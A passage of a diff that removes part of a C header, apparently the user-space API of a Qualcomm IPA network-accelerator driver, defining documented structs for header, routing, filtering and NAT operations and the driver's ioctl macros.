- * @eth2_ofst: offset to start of Ethernet-II/802.3 header
- */
-struct ipa_hdr_add {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint8_t hdr[IPA_HDR_MAX_SIZE];
-        uint8_t hdr_len;
-        enum ipa_hdr_l2_type type;
-        uint8_t is_partial;
-        uint32_t hdr_hdl;
-        int status;
-        uint8_t is_eth2_ofst_valid;
-        uint16_t eth2_ofst;
-};
-
-/**
- * struct ipa_ioc_add_hdr - header addition parameters (support
- * multiple headers and commit)
- * @commit: should headers be written to IPA HW also?
- * @num_hdrs: num of headers that follow
- * @ipa_hdr_add hdr:        all headers need to go here back to
- *                        back, no pointers
- */
-struct ipa_ioc_add_hdr {
-        uint8_t commit;
-        uint8_t num_hdrs;
-        struct ipa_hdr_add hdr[0];
-};
-
-/**
- * struct ipa_hdr_proc_ctx_add - processing context descriptor includes
- * in and out parameters
- * @type: processing context type
- * @hdr_hdl: in parameter, handle to header
- * @proc_ctx_hdl: out parameter, handle to proc_ctx, valid when status is 0
- * @status:        out parameter, status of header add operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_hdr_proc_ctx_add {
-        enum ipa_hdr_proc_type type;
-        uint32_t hdr_hdl;
-        uint32_t proc_ctx_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_add_hdr - processing context addition parameters (support
- * multiple processing context and commit)
- * @commit: should processing context be written to IPA HW also?
- * @num_proc_ctxs: num of processing context that follow
- * @proc_ctx:        all processing context need to go here back to
- *                        back, no pointers
- */
-struct ipa_ioc_add_hdr_proc_ctx {
-        uint8_t commit;
-        uint8_t num_proc_ctxs;
-        struct ipa_hdr_proc_ctx_add proc_ctx[0];
-};
-
-/**
- * struct ipa_ioc_copy_hdr - retrieve a copy of the specified
- * header - caller can then derive the complete header
- * @name: name of the header resource
- * @hdr:        out parameter, contents of specified header,
- *        valid only when ioctl return val is non-negative
- * @hdr_len: out parameter, size of above header
- *        valid only when ioctl return val is non-negative
- * @type: l2 header type
- *        valid only when ioctl return val is non-negative
- * @is_partial:        out parameter, indicates whether specified header is partial
- *                valid only when ioctl return val is non-negative
- * @is_eth2_ofst_valid: is eth2_ofst field valid?
- * @eth2_ofst: offset to start of Ethernet-II/802.3 header
- */
-struct ipa_ioc_copy_hdr {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint8_t hdr[IPA_HDR_MAX_SIZE];
-        uint8_t hdr_len;
-        enum ipa_hdr_l2_type type;
-        uint8_t is_partial;
-        uint8_t is_eth2_ofst_valid;
-        uint16_t eth2_ofst;
-};
-
-/**
- * struct ipa_ioc_get_hdr - header entry lookup parameters, if lookup was
- * successful caller must call put to release the reference count when done
- * @name: name of the header resource
- * @hdl:        out parameter, handle of header entry
- *                valid only when ioctl return val is non-negative
- */
-struct ipa_ioc_get_hdr {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t hdl;
-};
-
-/**
- * struct ipa_hdr_del - header descriptor includes in and out
- * parameters
- *
- * @hdl: handle returned from header add operation
- * @status:        out parameter, status of header remove operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_hdr_del {
-        uint32_t hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_del_hdr - header deletion parameters (support
- * multiple headers and commit)
- * @commit: should headers be removed from IPA HW also?
- * @num_hdls: num of headers being removed
- * @ipa_hdr_del hdl: all handles need to go here back to back, no pointers
- */
-struct ipa_ioc_del_hdr {
-        uint8_t commit;
-        uint8_t num_hdls;
-        struct ipa_hdr_del hdl[0];
-};
-
-/**
- * struct ipa_hdr_proc_ctx_del - processing context descriptor includes
- * in and out parameters
- * @hdl: handle returned from processing context add operation
- * @status:        out parameter, status of header remove operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_hdr_proc_ctx_del {
-        uint32_t hdl;
-        int status;
-};
-
-/**
- * ipa_ioc_del_hdr_proc_ctx - processing context deletion parameters (support
- * multiple headers and commit)
- * @commit: should processing contexts be removed from IPA HW also?
- * @num_hdls: num of processing contexts being removed
- * @ipa_hdr_proc_ctx_del hdl:        all handles need to go here back to back,
-  *                                no pointers
- */
-struct ipa_ioc_del_hdr_proc_ctx {
-        uint8_t commit;
-        uint8_t num_hdls;
-        struct ipa_hdr_proc_ctx_del hdl[0];
-};
-
-/**
- * struct ipa_rt_rule_add - routing rule descriptor includes in
- * and out parameters
- * @rule: actual rule to be added
- * @at_rear:        add at back of routing table, it is NOT possible to add rules at
- *                the rear of the "default" routing tables
- * @rt_rule_hdl: output parameter, handle to rule, valid when status is 0
- * @status:        output parameter, status of routing rule add operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_rt_rule_add {
-        struct ipa_rt_rule rule;
-        uint8_t at_rear;
-        uint32_t rt_rule_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_add_rt_rule - routing rule addition parameters (supports
- * multiple rules and commit);
- *
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @rt_tbl_name: name of routing table resource
- * @num_rules: number of routing rules that follow
- * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_add_rt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
-        uint8_t num_rules;
-        struct ipa_rt_rule_add rules[0];
-};
-
-/**
- * struct ipa_ioc_add_rt_rule_after - routing rule addition after a specific
- * rule parameters(supports multiple rules and commit);
- *
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @rt_tbl_name: name of routing table resource
- * @num_rules: number of routing rules that follow
- * @add_after_hdl: the rules will be added after this specific rule
- * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
- *                           at_rear field will be ignored when using this IOCTL
- */
-struct ipa_ioc_add_rt_rule_after {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
-        uint8_t num_rules;
-        uint32_t add_after_hdl;
-        struct ipa_rt_rule_add rules[0];
-};
-
-/**
- * struct ipa_rt_rule_mdfy - routing rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @rt_rule_hdl: handle to rule which supposed to modify
- * @status:        output parameter, status of routing rule modify  operation,
- *                0 for success,
- *                -1 for failure
- *
- */
-struct ipa_rt_rule_mdfy {
-        struct ipa_rt_rule rule;
-        uint32_t rt_rule_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_mdfy_rt_rule - routing rule modify parameters (supports
- * multiple rules and commit)
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @num_rules: number of routing rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_mdfy_rt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        uint8_t num_rules;
-        struct ipa_rt_rule_mdfy rules[0];
-};
-
-/**
- * struct ipa_rt_rule_del - routing rule descriptor includes in
- * and out parameters
- * @hdl: handle returned from route rule add operation
- * @status:        output parameter, status of route rule delete operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_rt_rule_del {
-        uint32_t hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_del_rt_rule - routing rule deletion parameters (supports
- * multiple headers and commit)
- * @commit: should rules be removed from IPA HW also?
- * @ip: IP family of rules
- * @num_hdls: num of rules being removed
- * @ipa_rt_rule_del hdl: all handles need to go back to back here, no pointers
- */
-struct ipa_ioc_del_rt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        uint8_t num_hdls;
-        struct ipa_rt_rule_del hdl[0];
-};
-
-/**
- * struct ipa_ioc_get_rt_tbl_indx - routing table index lookup parameters
- * @ip: IP family of table
- * @name: name of routing table resource
- * @index:        output parameter, routing table index, valid only when ioctl
- *                return val is non-negative
- */
-struct ipa_ioc_get_rt_tbl_indx {
-        enum ipa_ip_type ip;
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t idx;
-};
-
-/**
- * struct ipa_flt_rule_add - filtering rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @at_rear: add at back of filtering table?
- * @flt_rule_hdl: out parameter, handle to rule, valid when status is 0
- * @status:        output parameter, status of filtering rule add   operation,
- *                0 for success,
- *                -1 for failure
- *
- */
-struct ipa_flt_rule_add {
-        struct ipa_flt_rule rule;
-        uint8_t at_rear;
-        uint32_t flt_rule_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_add_flt_rule - filtering rule addition parameters (supports
- * multiple rules and commit)
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @ep:        which "clients" pipe does this rule apply to?
- *        valid only when global is 0
- * @global: does this apply to global filter table of specific IP family
- * @num_rules: number of filtering rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_add_flt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        enum ipa_client_type ep;
-        uint8_t global;
-        uint8_t num_rules;
-        struct ipa_flt_rule_add rules[0];
-};
-
-/**
- * struct ipa_ioc_add_flt_rule_after - filtering rule addition after specific
- * rule parameters (supports multiple rules and commit)
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @ep:        which "clients" pipe does this rule apply to?
- * @num_rules: number of filtering rules that follow
- * @add_after_hdl: rules will be added after the rule with this handle
- * @rules: all rules need to go back to back here, no pointers. at rear field
- *           is ignored when using this IOCTL
- */
-struct ipa_ioc_add_flt_rule_after {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        enum ipa_client_type ep;
-        uint8_t num_rules;
-        uint32_t add_after_hdl;
-        struct ipa_flt_rule_add rules[0];
-};
-
-/**
- * struct ipa_flt_rule_mdfy - filtering rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @flt_rule_hdl: handle to rule
- * @status:        output parameter, status of filtering rule modify  operation,
- *                0 for success,
- *                -1 for failure
- *
- */
-struct ipa_flt_rule_mdfy {
-        struct ipa_flt_rule rule;
-        uint32_t rule_hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_mdfy_flt_rule - filtering rule modify parameters (supports
- * multiple rules and commit)
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @num_rules: number of filtering rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_mdfy_flt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        uint8_t num_rules;
-        struct ipa_flt_rule_mdfy rules[0];
-};
-
-/**
- * struct ipa_flt_rule_del - filtering rule descriptor includes
- * in and out parameters
- *
- * @hdl: handle returned from filtering rule add operation
- * @status:        output parameter, status of filtering rule delete operation,
- *                0 for success,
- *                -1 for failure
- */
-struct ipa_flt_rule_del {
-        uint32_t hdl;
-        int status;
-};
-
-/**
- * struct ipa_ioc_del_flt_rule - filtering rule deletion parameters (supports
- * multiple headers and commit)
- * @commit: should rules be removed from IPA HW also?
- * @ip: IP family of rules
- * @num_hdls: num of rules being removed
- * @hdl: all handles need to go back to back here, no pointers
- */
-struct ipa_ioc_del_flt_rule {
-        uint8_t commit;
-        enum ipa_ip_type ip;
-        uint8_t num_hdls;
-        struct ipa_flt_rule_del hdl[0];
-};
-
-/**
- * struct ipa_ioc_get_rt_tbl - routing table lookup parameters, if lookup was
- * successful caller must call put to release the reference
- * count when done
- * @ip: IP family of table
- * @name: name of routing table resource
- * @htl:        output parameter, handle of routing table, valid only when ioctl
- *                return val is non-negative
- */
-struct ipa_ioc_get_rt_tbl {
-        enum ipa_ip_type ip;
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t hdl;
-};
-
-/**
- * struct ipa_ioc_query_intf - used to lookup number of tx and
- * rx properties of interface
- * @name: name of interface
- * @num_tx_props:        output parameter, number of tx properties
- *                        valid only when ioctl return val is non-negative
- * @num_rx_props:        output parameter, number of rx properties
- *                        valid only when ioctl return val is non-negative
- * @num_ext_props:        output parameter, number of ext properties
- *                        valid only when ioctl return val is non-negative
- * @excp_pipe:                exception packets of this interface should be
- *                        routed to this pipe
- */
-struct ipa_ioc_query_intf {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_tx_props;
-        uint32_t num_rx_props;
-        uint32_t num_ext_props;
-        enum ipa_client_type excp_pipe;
-};
-
-/**
- * struct ipa_ioc_tx_intf_prop - interface tx property
- * @ip: IP family of routing rule
- * @attrib: routing rule
- * @dst_pipe: routing output pipe
- * @alt_dst_pipe: alternate routing output pipe
- * @hdr_name: name of associated header if any, empty string when no header
- * @hdr_l2_type: type of associated header if any, use NONE when no header
- */
-struct ipa_ioc_tx_intf_prop {
-        enum ipa_ip_type ip;
-        struct ipa_rule_attrib attrib;
-        enum ipa_client_type dst_pipe;
-        enum ipa_client_type alt_dst_pipe;
-        char hdr_name[IPA_RESOURCE_NAME_MAX];
-        enum ipa_hdr_l2_type hdr_l2_type;
-};
-
-/**
- * struct ipa_ioc_query_intf_tx_props - interface tx propertie
- * @name: name of interface
- * @num_tx_props: number of TX properties
- * @tx[0]: output parameter, the tx properties go here back to back
- */
-struct ipa_ioc_query_intf_tx_props {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_tx_props;
-        struct ipa_ioc_tx_intf_prop tx[0];
-};
-
-/**
- * struct ipa_ioc_ext_intf_prop - interface extended property
- * @ip: IP family of routing rule
- * @eq_attrib: attributes of the rule in equation form
- * @action: action field
- * @rt_tbl_idx: index of RT table referred to by filter rule
- * @mux_id: MUX_ID
- * @filter_hdl: handle of filter (as specified by provider of filter rule)
- * @is_xlat_rule: it is xlat flt rule or not
- */
-struct ipa_ioc_ext_intf_prop {
-        enum ipa_ip_type ip;
-        struct ipa_ipfltri_rule_eq eq_attrib;
-        enum ipa_flt_action action;
-        uint32_t rt_tbl_idx;
-        uint8_t mux_id;
-        uint32_t filter_hdl;
-        uint8_t is_xlat_rule;
-        uint32_t rule_id;
-        uint8_t is_rule_hashable;
-};
-
-/**
- * struct ipa_ioc_query_intf_ext_props - interface ext propertie
- * @name: name of interface
- * @num_ext_props: number of EXT properties
- * @ext[0]: output parameter, the ext properties go here back to back
- */
-struct ipa_ioc_query_intf_ext_props {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_ext_props;
-        struct ipa_ioc_ext_intf_prop ext[0];
-};
-
-/**
- * struct ipa_ioc_rx_intf_prop - interface rx property
- * @ip: IP family of filtering rule
- * @attrib: filtering rule
- * @src_pipe: input pipe
- * @hdr_l2_type: type of associated header if any, use NONE when no header
- */
-struct ipa_ioc_rx_intf_prop {
-        enum ipa_ip_type ip;
-        struct ipa_rule_attrib attrib;
-        enum ipa_client_type src_pipe;
-        enum ipa_hdr_l2_type hdr_l2_type;
-};
-
-/**
- * struct ipa_ioc_query_intf_rx_props - interface rx propertie
- * @name: name of interface
- * @num_rx_props: number of RX properties
- * @rx: output parameter, the rx properties go here back to back
- */
-struct ipa_ioc_query_intf_rx_props {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_rx_props;
-        struct ipa_ioc_rx_intf_prop rx[0];
-};
-
-/**
- * struct ipa_ioc_nat_alloc_mem - nat table memory allocation
- * properties
- * @dev_name: input parameter, the name of table
- * @size: input parameter, size of table in bytes
- * @offset: output parameter, offset into page in case of system memory
- */
-struct ipa_ioc_nat_alloc_mem {
-        char dev_name[IPA_RESOURCE_NAME_MAX];
-        size_t size;
-        off_t offset;
-};
-
-/**
- * struct ipa_ioc_v4_nat_init - nat table initialization
- * parameters
- * @tbl_index: input parameter, index of the table
- * @ipv4_rules_offset: input parameter, ipv4 rules address offset
- * @expn_rules_offset: input parameter, ipv4 expansion rules address offset
- * @index_offset: input parameter, index rules offset
- * @index_expn_offset: input parameter, index expansion rules offset
- * @table_entries: input parameter, ipv4 rules table size in entries
- * @expn_table_entries: input parameter, ipv4 expansion rules table size
- * @ip_addr: input parameter, public ip address
- */
-struct ipa_ioc_v4_nat_init {
-        uint8_t tbl_index;
-        uint32_t ipv4_rules_offset;
-        uint32_t expn_rules_offset;
-
-        uint32_t index_offset;
-        uint32_t index_expn_offset;
-
-        uint16_t table_entries;
-        uint16_t expn_table_entries;
-        uint32_t ip_addr;
-};
-
-/**
- * struct ipa_ioc_v4_nat_del - nat table delete parameter
- * @table_index: input parameter, index of the table
- * @public_ip_addr: input parameter, public ip address
- */
-struct ipa_ioc_v4_nat_del {
-        uint8_t table_index;
-        uint32_t public_ip_addr;
-};
-
-/**
- * struct ipa_ioc_nat_dma_one - nat dma command parameter
- * @table_index: input parameter, index of the table
- * @base_addr:        type of table, from which the base address of the table
- *                can be inferred
- * @offset: destination offset within the NAT table
- * @data: data to be written.
- */
-struct ipa_ioc_nat_dma_one {
-        uint8_t table_index;
-        uint8_t base_addr;
-
-        uint32_t offset;
-        uint16_t data;
-
-};
-
-/**
- * struct ipa_ioc_nat_dma_cmd - To hold multiple nat dma commands
- * @entries: number of dma commands in use
- * @dma: data pointer to the dma commands
- */
-struct ipa_ioc_nat_dma_cmd {
-        uint8_t entries;
-        struct ipa_ioc_nat_dma_one dma[0];
-
-};
-
-/**
- * struct ipa_msg_meta - Format of the message meta-data.
- * @msg_type: the type of the message
- * @rsvd: reserved bits for future use.
- * @msg_len: the length of the message in bytes
- *
- * For push model:
- * Client in user-space should issue a read on the device (/dev/ipa) with a
- * sufficiently large buffer in a continuous loop, call will block when there is
- * no message to read. Upon return, client can read the ipa_msg_meta from start
- * of buffer to find out type and length of message
- * size of buffer supplied >= (size of largest message + size of metadata)
- *
- * For pull model:
- * Client in user-space can also issue a pull msg IOCTL to device (/dev/ipa)
- * with a payload containing space for the ipa_msg_meta and the message specific
- * payload length.
- * size of buffer supplied == (len of specific message  + size of metadata)
- */
-struct ipa_msg_meta {
-        uint8_t msg_type;
-        uint8_t rsvd;
-        uint16_t msg_len;
-};
-
-/**
- * struct ipa_wlan_msg - To hold information about wlan client
- * @name: name of the wlan interface
- * @mac_addr: mac address of wlan client
- *
- * wlan drivers need to pass name of wlan iface and mac address of
- * wlan client along with ipa_wlan_event, whenever a wlan client is
- * connected/disconnected/moved to power save/come out of power save
- */
-struct ipa_wlan_msg {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
-};
-
-/**
- * enum ipa_wlan_hdr_attrib_type - attribute type
- * in wlan client header
- *
- * WLAN_HDR_ATTRIB_MAC_ADDR: attrib type mac address
- * WLAN_HDR_ATTRIB_STA_ID: attrib type station id
- */
-enum ipa_wlan_hdr_attrib_type {
-        WLAN_HDR_ATTRIB_MAC_ADDR,
-        WLAN_HDR_ATTRIB_STA_ID
-};
-
-/**
- * struct ipa_wlan_hdr_attrib_val - header attribute value
- * @attrib_type: type of attribute
- * @offset: offset of attribute within header
- * @u.mac_addr: mac address
- * @u.sta_id: station id
- */
-struct ipa_wlan_hdr_attrib_val {
-        enum ipa_wlan_hdr_attrib_type attrib_type;
-        uint8_t offset;
-        union {
-                uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
-                uint8_t sta_id;
-        } u;
-};
-
-/**
- * struct ipa_wlan_msg_ex - To hold information about wlan client
- * @name: name of the wlan interface
- * @num_of_attribs: number of attributes
- * @attrib_val: holds attribute values
- *
- * wlan drivers need to pass name of wlan iface and mac address
- * of wlan client or station id along with ipa_wlan_event,
- * whenever a wlan client is connected/disconnected/moved to
- * power save/come out of power save
- */
-struct ipa_wlan_msg_ex {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint8_t num_of_attribs;
-        struct ipa_wlan_hdr_attrib_val attribs[0];
-};
-
-struct ipa_ecm_msg {
-        char name[IPA_RESOURCE_NAME_MAX];
-        int ifindex;
-};
-
-/**
- * struct ipa_wan_msg - To hold information about wan client
- * @name: name of the wan interface
- *
- * CnE need to pass the name of default wan iface when connected/disconnected.
- * netmgr need to pass the name of wan eMBMS iface when connected.
- */
-struct ipa_wan_msg {
-        char upstream_ifname[IPA_RESOURCE_NAME_MAX];
-        char tethered_ifname[IPA_RESOURCE_NAME_MAX];
-        enum ipa_ip_type ip;
-};
-
-/**
- * struct ipa_ioc_rm_dependency - parameters for add/delete dependency
- * @resource_name: name of dependent resource
- * @depends_on_name: name of its dependency
- */
-struct ipa_ioc_rm_dependency {
-        enum ipa_rm_resource_name resource_name;
-        enum ipa_rm_resource_name depends_on_name;
-};
-
-struct ipa_ioc_generate_flt_eq {
-        enum ipa_ip_type ip;
-        struct ipa_rule_attrib attrib;
-        struct ipa_ipfltri_rule_eq eq_attrib;
-};
-
-/**
- * struct ipa_ioc_write_qmapid - to write mux id to endpoint meta register
- * @mux_id: mux id of wan
- */
-struct ipa_ioc_write_qmapid {
-        enum ipa_client_type client;
-        uint8_t qmap_id;
-};
-
-enum ipacm_client_enum {
-        IPACM_CLIENT_USB = 1,
-        IPACM_CLIENT_WLAN,
-        IPACM_CLIENT_MAX
-};
-/**
- *   actual IOCTLs supported by IPA driver
- */
-#define IPA_IOC_ADD_HDR _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_HDR, \
-                                        struct ipa_ioc_add_hdr *)
-#define IPA_IOC_DEL_HDR _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_DEL_HDR, \
-                                        struct ipa_ioc_del_hdr *)
-#define IPA_IOC_ADD_RT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_RT_RULE, \
-                                        struct ipa_ioc_add_rt_rule *)
-#define IPA_IOC_ADD_RT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_RT_RULE_AFTER, \
-                                        struct ipa_ioc_add_rt_rule_after *)
-#define IPA_IOC_DEL_RT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_DEL_RT_RULE, \
-                                        struct ipa_ioc_del_rt_rule *)
-#define IPA_IOC_ADD_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_FLT_RULE, \
-                                        struct ipa_ioc_add_flt_rule *)
-#define IPA_IOC_ADD_FLT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_ADD_FLT_RULE_AFTER, \
-                                        struct ipa_ioc_add_flt_rule_after *)
-#define IPA_IOC_DEL_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_DEL_FLT_RULE, \
-                                        struct ipa_ioc_del_flt_rule *)
-#define IPA_IOC_COMMIT_HDR _IO(IPA_IOC_MAGIC,\
-                                        IPA_IOCTL_COMMIT_HDR)
-#define IPA_IOC_RESET_HDR _IO(IPA_IOC_MAGIC,\
-                                        IPA_IOCTL_RESET_HDR)
-#define IPA_IOC_COMMIT_RT _IOW(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_COMMIT_RT, \
-                                        enum ipa_ip_type)
-#define IPA_IOC_RESET_RT _IOW(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_RESET_RT, \
-                                        enum ipa_ip_type)
-#define IPA_IOC_COMMIT_FLT _IOW(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_COMMIT_FLT, \
-                                        enum ipa_ip_type)
-#define IPA_IOC_RESET_FLT _IOW(IPA_IOC_MAGIC, \
-                        IPA_IOCTL_RESET_FLT, \
-                        enum ipa_ip_type)
-#define IPA_IOC_DUMP _IO(IPA_IOC_MAGIC, \
-                        IPA_IOCTL_DUMP)
-#define IPA_IOC_GET_RT_TBL _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GET_RT_TBL, \
-                                struct ipa_ioc_get_rt_tbl *)
-#define IPA_IOC_PUT_RT_TBL _IOW(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_PUT_RT_TBL, \
-                                uint32_t)
-#define IPA_IOC_COPY_HDR _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_COPY_HDR, \
-                                struct ipa_ioc_copy_hdr *)
-#define IPA_IOC_QUERY_INTF _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_QUERY_INTF, \
-                                struct ipa_ioc_query_intf *)
-#define IPA_IOC_QUERY_INTF_TX_PROPS _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_QUERY_INTF_TX_PROPS, \
-                                struct ipa_ioc_query_intf_tx_props *)
-#define IPA_IOC_QUERY_INTF_RX_PROPS _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_QUERY_INTF_RX_PROPS, \
-                                        struct ipa_ioc_query_intf_rx_props *)
-#define IPA_IOC_QUERY_INTF_EXT_PROPS _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_QUERY_INTF_EXT_PROPS, \
-                                        struct ipa_ioc_query_intf_ext_props *)
-#define IPA_IOC_GET_HDR _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GET_HDR, \
-                                struct ipa_ioc_get_hdr *)
-#define IPA_IOC_PUT_HDR _IOW(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_PUT_HDR, \
-                                uint32_t)
-#define IPA_IOC_ALLOC_NAT_MEM _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_ALLOC_NAT_MEM, \
-                                struct ipa_ioc_nat_alloc_mem *)
-#define IPA_IOC_V4_INIT_NAT _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_V4_INIT_NAT, \
-                                struct ipa_ioc_v4_nat_init *)
-#define IPA_IOC_NAT_DMA _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_NAT_DMA, \
-                                struct ipa_ioc_nat_dma_cmd *)
-#define IPA_IOC_V4_DEL_NAT _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_V4_DEL_NAT, \
-                                struct ipa_ioc_v4_nat_del *)
-#define IPA_IOC_GET_NAT_OFFSET _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GET_NAT_OFFSET, \
-                                uint32_t *)
-#define IPA_IOC_SET_FLT _IOW(IPA_IOC_MAGIC, \
-                        IPA_IOCTL_SET_FLT, \
-                        uint32_t)
-#define IPA_IOC_PULL_MSG _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_PULL_MSG, \
-                                struct ipa_msg_meta *)
-#define IPA_IOC_RM_ADD_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_RM_ADD_DEPENDENCY, \
-                                struct ipa_ioc_rm_dependency *)
-#define IPA_IOC_RM_DEL_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_RM_DEL_DEPENDENCY, \
-                                struct ipa_ioc_rm_dependency *)
-#define IPA_IOC_GENERATE_FLT_EQ _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GENERATE_FLT_EQ, \
-                                struct ipa_ioc_generate_flt_eq *)
-#define IPA_IOC_QUERY_EP_MAPPING _IOR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_QUERY_EP_MAPPING, \
-                                uint32_t)
-#define IPA_IOC_QUERY_RT_TBL_INDEX _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_QUERY_RT_TBL_INDEX, \
-                                struct ipa_ioc_get_rt_tbl_indx *)
-#define IPA_IOC_WRITE_QMAPID  _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_WRITE_QMAPID, \
-                                struct ipa_ioc_write_qmapid *)
-#define IPA_IOC_MDFY_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_MDFY_FLT_RULE, \
-                                        struct ipa_ioc_mdfy_flt_rule *)
-#define IPA_IOC_MDFY_RT_RULE _IOWR(IPA_IOC_MAGIC, \
-                                        IPA_IOCTL_MDFY_RT_RULE, \
-                                        struct ipa_ioc_mdfy_rt_rule *)
-
-#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_ADD _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD, \
-                                struct ipa_wan_msg *)
-
-#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_DEL _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL, \
-                                struct ipa_wan_msg *)
-#define IPA_IOC_NOTIFY_WAN_EMBMS_CONNECTED _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED, \
-                                struct ipa_wan_msg *)
-#define IPA_IOC_ADD_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_ADD_HDR_PROC_CTX, \
-                                struct ipa_ioc_add_hdr_proc_ctx *)
-#define IPA_IOC_DEL_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_DEL_HDR_PROC_CTX, \
-                                struct ipa_ioc_del_hdr_proc_ctx *)
-
-#define IPA_IOC_GET_HW_VERSION _IOWR(IPA_IOC_MAGIC, \
-                                IPA_IOCTL_GET_HW_VERSION, \
-                                enum ipa_hw_type *)
-
-/*
- * unique magic number of the Tethering bridge ioctls
- */
-#define TETH_BRIDGE_IOC_MAGIC 0xCE
-
-/*
- * Ioctls supported by Tethering bridge driver
- */
-#define TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE        0
-#define TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS        1
-#define TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS        2
-#define TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES        3
-#define TETH_BRIDGE_IOCTL_MAX                        4
-
-
-/**
